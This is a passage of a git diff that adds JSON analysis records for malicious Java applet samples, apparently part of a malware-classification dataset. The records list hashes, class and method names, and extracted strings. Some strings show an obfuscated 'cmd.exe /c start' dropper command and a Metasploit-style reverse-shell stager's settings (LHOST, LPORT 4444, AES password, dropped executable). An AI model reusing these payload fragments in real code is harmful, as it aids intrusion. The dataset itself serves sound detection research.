+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "vuln/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["start", "<init>"], "minor_version": 0, "const_pool_count": 96}}, "_id": "0f146e5a-6e28-40f3-b112-abb695c8f493", "verbose": {"java": {"constant strings": ["Exploiting", "setSecurityManager", "urlFile"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e8ee4f59dadcf9ccdd4c721533772d8d3e2540df", "file_name": "java_malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c", "_id": "0f146e5a-6e28-40f3-b112-abb695c8f493", "score": 10, "entropy": 5.439345329236017, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1570, "ssdeep": "24:O3XpWz26HjPS+y1kJadlQelKRp3wt2+55zFm46jkdVmHkGqBfOhwiZtzB:OpW6I3odlQeI1wt2o5zF9LdV2eBmGiB", "sha256": "d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c", "md5": "9eb70c2000786eb2a4af06cf3165905f", "parent_sha256": "d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c"}}
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diff --git a/java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results b/java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results
new file mode 100755
index 0000000..a1c26e9
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+++ b/java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/yqxcjnobnhw", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "paoaxhxexnnlyl", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "beba1791-d235-4fe3-b2da-5493aaec992b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "347a818f43a0425c09e2b0326272b7ec98343fd9", "file_name": "java_malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e", "_id": "beba1791-d235-4fe3-b2da-5493aaec992b", "score": 0, "entropy": 5.204230162191312, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6949, "ssdeep": "96:KMH2Hz9KqCPDQeUpx1qbo8pbW2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TWHIzLQR1Qpaxhi/To55UTYwa5hGX1", "sha256": "d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e", "md5": "bd733e5ba6ef486682d0a67bf35c6c04", "parent_sha256": "d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e"}}
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diff --git a/java_classification/data/malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95.results b/java_classification/data/malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95.results
new file mode 100755
index 0000000..c1b96fb
--- /dev/null
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diff --git a/java_classification/data/malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765.results b/java_classification/data/malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765.results
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diff --git a/java_classification/data/malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e.results b/java_classification/data/malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e.results
new file mode 100755
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diff --git a/java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results b/java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results
new file mode 100755
index 0000000..c37f6e1
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+++ b/java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results
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diff --git a/java_classification/data/malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1.results b/java_classification/data/malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1.results
new file mode 100755
index 0000000..3f3259d
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diff --git a/java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results b/java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results
new file mode 100755
index 0000000..2634b34
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+++ b/java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results
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diff --git a/java_classification/data/malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca.results b/java_classification/data/malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca.results
new file mode 100755
index 0000000..f79604e
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diff --git a/java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results b/java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results
new file mode 100755
index 0000000..5b5c83f
--- /dev/null
+++ b/java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results b/java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results
new file mode 100755
index 0000000..e9dd194
--- /dev/null
+++ b/java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "tab", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "psi", "map", "mun", "one"], "minor_version": 0, "const_pool_count": 178}}, "_id": "aa9688f7-69f3-470c-913e-b4cc47ea604d", "verbose": {"java": {"constant strings": ["", ".eb3v4c2xb3v4c2e", "b3v4c2", "java.b3v4c2o.Fb3v4c2leOutputStream", "i", "b3v4c2xb3v4c2c", "e", "b3v4c2md.exe /b3v4c2 start ", "c", "flush", "close", ";1", "jab3v4c2va.ib3v4c2o.tmpdb3v4c2ir", "wrb3v4c2te"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "781caaf59a189459fe92774a3b83a52896ff7509", "file_name": "java_malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742", "_id": "aa9688f7-69f3-470c-913e-b4cc47ea604d", "score": 0, "entropy": 5.806007368495412, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3218, "ssdeep": "48:cXNeNdRblyuNTUZy7I1+BYZgk4HH2ve3861nLSs/exG9+YhhhhhkhhhhhEGhhhha:2eryuNTdI02Zh4PM0X/7wrM", "sha256": "dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742", "md5": "6e67c63cf0f3ad1601d859822861c900", "parent_sha256": "dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742"}}
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diff --git a/java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results b/java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results
new file mode 100755
index 0000000..8d79f18
--- /dev/null
+++ b/java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results
@@ -0,0 +1 @@
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["78af8ce023c51a76f8214cd98779a040e514da46bb435f9dd5ffa25dddb5da70e169e8c2b5de29c7fef7513eb6bd8d215aea28fa9dccf0fd55e5abb31adfa5baaedda40ddca38b039f92d4eb2067a5d157718980f9e9afd272a3c7bddae00f521b65f0230a6d231a90736de086f73a5d80584e7bef7c9b5cf64fc7120f7325a30e0f718548cd2a0ffa6b1d32f26fc640ceb0c729ae8de22891053f1f0fd9f767fe469ad8588bbeb4341c418280dee3e10f34cdc6ecf7f9e163ba81e705f3f1b32cabf4d51b5f376f73c8ac8a126d7091d5b5568c8aa5427cfa4238f09cdfa7aded2e2cbe16893e25931c00924deb2aa0ce7b9ea07ce04ea31435fee42ebc44ecea473a6ec43a2d20fa5e42ce184a3bbbb433c1187d8814a9bc16e79671e4a7705c979877c121f77d1728b046414a3e6f804d4333f051fd56cdcb4111425ab76c5ffdcaffa9375dfd64f39e152e77df2b84be17c4bcd415b7399400264bcaf8d7d78b1427861f9668158ab74791b6d0cd7e314b28e4b7cc9e6bbacdc3f76c01e13613c55cb05167a5e8fa1e1068b3b8959ff42cff29f4ee654b1a36b0f952c03a97035477cfca22cb8bdbd253bb08ad839c3d59ff9a19ce1564ecacd7a9cf689f3a334c1125e9d25f2b5d303ec4f5a8754a3c54d4d8ef08f82a2059d0af36c8ab7c0b44587d7fef58dc8c1b12a5334cfd4320fe45a97b0634807caa49ca3d613f0607dd68dec533834d4384afba26ddab238ea97eee2554ee2337aca926bc4e2aaccf1024981a8263e0e508e4a3914a4fe00b620b6eadea8fd556118b4de5240e92f757dcae164149a299101af5605d7185b9430ab0d7af6bb884b6ab931f7b2d2334739e219faff265dcec73ff6820c529c7ea36c1c8ed43f3b43079f9b9e94882378a23258a763b0d8732bbc0142334e9f6aec3ab916bb347bd56f267931b83611679a93279d2c873e77eba5bdacd12ffd77bfe3cfc453428d0f94946d94c16a21107e87eb8c46a07dcaea212a3ebc4975462526e9b159b63ebf2630d8ebf33d0eea78acfcfa09ac8414369442a69845aa1b47ef878de113b542e86f65a2c98c36e3df942faa08d44bd9f98e3148759713369c2ba3de42b4845ad2d5854b8bb76bdeeb2adc0de3c00b14fb5507ea2d71c11cff7559467cb903e80bed81b36b445c218bf30498057bb0a8ccd23151c0e2e0156f0e28501f5cf494630830db03fece3e99a5ffc280edfa4b51f0c56c08e104148ca637e033e13dd1aef744d834ba91348e3c8cdac27cee30bddaf9a7990996ed7091df131ae10d076a8ccc5e438c64e088fbb1efa07deffe505f968c134b68f0ddf541ef3dd5db5aa7fcc09657161c02b0dd02f37a44fefb4b4119d21e753f943bb1196b23e1e59c89cf735a1b2b4fe58d64c4bd300eeaf64025a0bcb635526cbe1df7c93c1996cbf890a958e1e1b256f27214d489bca064294a0770ae04274cc651708a33433f4787747e31a3c369ffda8343daec39c3102dabb78085b27cde05b20e391842b0935b67a106b7dc4246d30552481ca45e54406fc43605e4b8b41b8dff3808165b83f9a7cd1bd0da39efa822ff681ceb111e783ed3dcf523b19714f41eeb1a1a8fdbe415c40220451b4c2bae5d8544c5b677cc75b92cf21ad795a8b1006a8d1dfd8a83624fa8c6198110c56ab9c19c4ce2ed85312df890112b1f5f949c17a60ebb8795d19799e9d7ef2f5138641614a66d8fc9860ef13d5", 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"stiemj", "74b09bac20dc1b25b8780796c123fa41b245981aed4403c692bbb51f82e79368a03fbbd4c6936b97bdb70f6debd7dc211fa140a5d29aa3be", "jaykgf", "74a39bfa6dc61577ad33019cd323fa07f07d8a0ced5014fc83b5e5", "sfarkbb", "6cac9be267d50f61a5361c95c02bfb0af86e8b0ffe5b17ef8dafe40084", "kiajaqxendobqjr", "62bd9ced7ec2127cad372193c325f7", "exf", "72ac94e70acd1667ac7f12", "yavjtlryubdpjeh", "67bf8bf22ece3472ac79389ed12fe202a44783", "cuqtm", "68a58ee923da2a77aa71", "hdv", "6fa28ff80fc21c76b57b0b9fd72efd", "domude", "78bb83fb2dcf236ba77c18b7de22ec12bc", "vmjsqb", "4291", "twebnpxjyp", "6eb19de329ca2571ae600e", "gpwco"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "836d8f89fd0852e1ed4e28764009828636965d9b", "file_name": "java_malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415", "_id": "01534729-645f-4532-809f-a512620e5c08", "score": 0, "entropy": 5.5315930300715, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6049, "ssdeep": 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\ No newline at end of file
diff --git a/java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results b/java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results
new file mode 100755
index 0000000..465fdc0
--- /dev/null
+++ b/java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/kbfvkcmucgzoua", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "bljcgpuiwqbkcjfhez", "chbdotngsqxxwnz", "iekrrzcpcjjyunmaqox", "lzexjyfmnqdxejbid", "gmwdrya", "bhprdtykuwzhj", "prvnuojubjmslhzorag", "jkrtmgzaywrzcezwrz", "ppewoonigrexzcvz", "qgerzqfjcxlhrdlj", "mweltcfziuxzeivos", "fvkygqkyoydjcycgsdf", "ojvrjowvugtlcnba", "cflfiqztxsrdt", "fomuqixlnnnyhvw", "ofrbqanjiptfqvzvp", "zxutjnprrccphcrmrd"], "minor_version": 0, "const_pool_count": 671}}, "_id": "49d59a26-e36c-407a-a8cb-9311cbaf4b52", "verbose": {"java": {"constant strings": ["fjtorxagvkaidfsmescgdv", "aypjzhvhkzj", "msbyezgkghaxvlwetgyinlj", "cnnnryvn", "wveerilmrtz", "lzvpoikibpvmlyhviavukhsvac", "", "zloyafxxj", "qycwbdqdwegeypxvcw", "bvasqggmoyfobawtckpnhzdjmt", "kurfmqlovzqbqfycoki", "flnibtepcxcyqjqbstq", "s", "awfcaltx", "cd", "iomsflzhptuhs", "mixodgh", "zgvxeuioahlnbpwsed", "tdpeexdbd", "cnklvqgugb", "zgclhfgoimp", "vjrrpyopxxpqdrlfb", "pnmgagzddcuuraxsoxdxmtscs", "bmavbwrse", "mrazkxjcfxcen", "kdvdqcqy", "stbunecxnthznjuipw", "yybggk", "iktazlpddvpgilmrxjryywnqa", "hcaypfgwjeysaxsxtklxag", "iv", "xtjudicxrgmngvndlymvawxophip", "at", "zdgjjmycjk", "r", "sreycibyyizyy", "txfddrixikdaesewlflyteo", "cmasmeoedpkiknnurg", "djrvnih", "fwfudwbvyuyygusalztuyzgrics", "vmeiwv", "yhixacitrofjocinzrtxjrgk", "wvpuqyshrqnplfyen", "exkffzwxpvmnacdiwajji", "agpxnkmkrzdfqzdmhtpu", "asb", "qloxnbplza", "wyxpex", "ekylpmtckxetgglnmlysni", "iriytwxqe", "jgvmurrcbeuhjlnsdfuncnwmp", "qrmygfyphckoiefothhdqkitonqv", "sftpdncwwoytymokkiclpn", "sztyi", "rbxvolpbdtgiuudrylptkni", "xnjccll", "wvenksdvylnokdcmt", "bfkk", "sgecogfmm", "vgffqwufruvrxqrxfg", "jnspswyimcacvepxwlbzkxet", "enmiwktagljwfrszbzowwhqmt", "kgdxsj", "bzigvxdaiceggcyfipig", "wlaqphx", "gedvvuijbdtkmeryrxggt", "dgppjnldcenhbqi", "euortjsbgl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6ece320370b6aa89a7221f458f611b086d03e746", "file_name": "java_malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6", "_id": "49d59a26-e36c-407a-a8cb-9311cbaf4b52", "score": 0, "entropy": 5.905052072738944, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 10910, "ssdeep": "192:4K3mTgF0xh/och/hi7XUJBrxpT0oR+0jZSXzSCcrYC2mclGXT6JXLx:F4phn/yXUJBP0P0jXVctQXa", "sha256": "de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6", "md5": "19e9e82c66071b6cd6cdde44bcb5bbb9", "parent_sha256": "de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results b/java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results
new file mode 100755
index 0000000..23574d7
--- /dev/null
+++ b/java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/daiwrrfxibhohsletc", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "hgsqpjoqtiwzqmiu", "zhclldohmmhqbfvysib", "icwcvzgdrcaktbfyuvt", "lyoqaphwzqtuooe", "xqqqbuoltiwvrxac", "wbvwriufcsueuqkbard", "ybruiqemzafigyt", "gjgrdfoijxiyixghpz", "cushjiwcmqosxophkfe", "cvsyeqvyqrssxolgv", "pvhqpgqusowyuvrqk", "cpqxwehzuqwtwtaz", "zlbvvojskisclvgddz"], "minor_version": 0, "const_pool_count": 240}}, "_id": "ef0e144a-7a25-4533-9f52-d2215c3bf9a5", "verbose": {"java": {"constant strings": ["nxeumjeezyfhmcfykcp", "ktxinfhuwjszn", "hprwkwlyqhjbz", "sqedxsqswxqw", "qafluofauvcrcseaajz", "sxscskforybksbjd", "zgxhiyijbjrwdbgevbla", "wonoaijmdjuusjchjj", "wmwnimjsktcsbef", "gykbomkejxmkwpawzjpap", "fkyqyidylrdsvswnqzl", "asnycmbnsceozzuxq", "codcwiiyqzcfk", "gcwmdxywwlnj", "nvztsllzkyeznpm", "xzbvebmgucphmyhstfxv", "fliwqpjtrtcp", "nuwjbtghgqtliczwxv", "zvnnbojfxhyzkyhlfzs", "shfjuggzvwvbwfy", "sjtpzflapeeqw", "qvwooaorfhuyssnbdriz", "kdpygzcsiwhguucds", "jnrlbdhnyhgrreau", "tqmmafjhkaorwn", "pswyoudqhagnywhgruvrg", "gemgjjroxmhohadzl", "wcswrmfpuhmo", "odfsbrftigpbbhzlidx", "fvkqbncbrsopuaymqj", "qwvflamuzwiddlpxm", "neqlpvqapqjioftdny", "yzfpskksgugttcogftmea", "oolxwawlnmhwycxnrfj", "lzmktdvnhcpkmzugdao", "uldfonqxifyusjwzpv", "kjdykvfojxbkqdcbd", "rrqbaopbqbcsb", "dwjuwjuvacnopqdpowl", "osjxygqwytvhtbxez", "unupoxgilzva", "uvpktklootfnhfungyawq", "exyikwclouteujkuqr", "yustatuqwcqhmwgpiooq", "mzqoschhopopao", "sbqsfnjrmevevxljurpf", "edzqluxgelcooy", "wglzezptzdxppgglgve", "sdvvbkjbmqvnggk", "fttcgqstuqjsefbmckgc", "izurpkgdnqfte", "pmniktdsbgzvdtfuj", "lnlajkfqjevlb", "oheugifrwprw", "rxmbpitozafzavq", "docjdbcwxrljxzfbh", "owtcpcfyrybmw", "gmgeutpwfkgiajazefjbd", "rcvlkygcelnaliyy", "pvlutyjwlanungxs", "rbuvjgqmluzmdafyddg", "ibuzxpflixlgpvrg", "ktfyyoqgycodovbsaol", "dmkbfzwdxikcumqw", "ykhyspecpznyfydhb", "hgxidzqxurimxzrcoiuyk"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "61b0788aba20cfeb8cf873b0f0d32eed1ddc676a", "file_name": "java_malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637", "_id": "ef0e144a-7a25-4533-9f52-d2215c3bf9a5", "score": 0, "entropy": 5.949005393329615, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5636, "ssdeep": "96:cJWDE0R1VcGcD98SQUhGa/dgj8coJsEt9e95WoGpa6EDd:vLVcX8uGKggsUxpY", "sha256": "dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637", "md5": "164515c0f028d65430517ba8fa6187b8", "parent_sha256": "dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results b/java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results
new file mode 100755
index 0000000..3d4057a
--- /dev/null
+++ b/java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "SkcwwqIHLs/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "584f9207-19a1-4a7a-b716-f41d8c07a8ae", "verbose": {"java": {"constant strings": ["SkcwwqIHLs.Payload", ".class", "/SkcwwqIHLs.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "SkcwwqIHLs.dat", "URL", "", "https:", "SkcwwqIHLs/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "SkcwwqIHLs/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "SkcwwqIHLs.PayloadTrustManager", "useFor", "java.net.URLConnection", "SkcwwqIHLs.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javavPNpMsg.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "862d4a73a28b2be0f90d4f8e4bb8e8a55753abe6", "file_name": "java_malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85", "_id": "584f9207-19a1-4a7a-b716-f41d8c07a8ae", "score": 0, "entropy": 6.143082002803885, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMQDUBV+WW7ThmQ38x9IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1t8VItm9HNvpvUrKYvCkgHzbDrDF", "sha256": "df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85", "md5": "270c5fb07d593d61736947ef427f2a56", "parent_sha256": "df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results b/java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results
new file mode 100755
index 0000000..b6a1448
--- /dev/null
+++ b/java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "iMyWeJ.java", "class_name": "qYgzrtb/iMyWeJ", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "uutgh", "xOcPJShQ"], "minor_version": 0, "const_pool_count": 124}}, "_id": "e9416d58-562b-467f-8340-4a5f434f8591", "verbose": {"java": {"constant strings": ["|w`w8esucd\\x7fbo8WzzFsd{\\x7fee\\x7fyx", "|w`w8esucd\\x7fbo8Fsd{\\x7fee\\x7fyxe", "wrr", "|w`w8esucd\\x7fbo8Fsd{\\x7fee\\x7fyx", "|w`w8esucd\\x7fbo8usdb8Usdb\\x7fp\\x7fuwbs", "|w`w8xsb8CDZ", "|w`w8esucd\\x7fbo8UyrsEycdus", "|w`w8esucd\\x7fbo8Fdybsub\\x7fyxRy{w\\x7fx", "|w`w8esucd\\x7fbo8Fsd{\\x7fee\\x7fyxUyzzsub\\x7fyx", "{sBroCSp\\\\", "cdz", "wffzsbIuzwee", "newInstance"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b069b767fdd3dea7f9460d78c961747b541790bb", "file_name": "java_malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f", "_id": "e9416d58-562b-467f-8340-4a5f434f8591", "score": 0, "entropy": 5.902088216668219, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2751, "ssdeep": "48:02rTyFlxTTMqMjiacgk1zps50NFCln4Uacmjw1ocwG9qH:nqFl1TMHjRchAgClvLbdE", "sha256": "df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f", "md5": "d84f0b6c92cab9936b26ab99da0bc8a5", "parent_sha256": "df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results b/java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results
new file mode 100755
index 0000000..1bf1321
--- /dev/null
+++ b/java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results b/java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results
new file mode 100755
index 0000000..2f62e91
--- /dev/null
+++ b/java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results
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diff --git a/java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results b/java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results
new file mode 100755
index 0000000..0bb9f88
--- /dev/null
+++ b/java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results
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diff --git a/java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results b/java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results
new file mode 100755
index 0000000..0a6c9ce
--- /dev/null
+++ b/java_classification/data/malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "FUJsja.java", "class_name": "ZTGTMeuuo/FUJsja", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "<clinit>", "MNHuU"], "minor_version": 0, "const_pool_count": 348}}, "_id": "99052842-abe0-4142-9f31-f7c57c3153b5", "verbose": {"java": {"constant strings": ["75 ", "*&\\'*\\'", " 4$65"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "51bd48ba6650ecdbc8bd0b06ad269977eb2bf780", "file_name": "java_malicious/e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc", "_id": "99052842-abe0-4142-9f31-f7c57c3153b5", "score": 0, "entropy": 5.161667103170692, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6412, "ssdeep": "48:9Jx8YsRxAN7WLGhsHi93IjmGQTMTATUyFlVERsa8qJ2jRavrRFFdK+/9qT7bpR7u:9ICfvRlFlux8+QRalFHK+qbXJjk9", "sha256": "e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc", "md5": "1b213c9bec4d31ad99fae101f11e91aa", "parent_sha256": "e32e122112d5f62c93c224f126251c44e6066bfa5f54081ca4b7c6debe0c6efc"}}
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diff --git a/java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results b/java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results
new file mode 100755
index 0000000..9e53969
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+++ b/java_classification/data/malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "mbWTlxsN.java", "class_name": "ZTGTMeuuo/wKITIqd", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "PeRDH", "OrderIfInvoke", "FUhaZ", "amOhXFRkF", "irKuI", "oVrkZ", "mIjtdfiK", "vGmWqnvT", "AddEdPKWj"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3390a81d-e7aa-435b-a4f8-eec26377b789", "verbose": {"java": {"constant strings": ["", "\\x1a\\x1d*\\x145\\x07\\t=6", "&<\\x1f8\\x1c\\x02\\x11\"", "&4\\x17\\x17\\t\\x10", "&!?", "=6$\\x1a= \\'2=06"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c4a27d3e81ed365906d38ebbc7c8c4c6881eda42", "file_name": "java_malicious/e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a", "_id": "3390a81d-e7aa-435b-a4f8-eec26377b789", "score": 0, "entropy": 5.757480539723674, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3293, "ssdeep": "96:WgIFl8PoxwxiL3iKO2Ul2612iz0FjWU1De:Wg6l+C4+3iy82gABc", "sha256": "e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a", "md5": 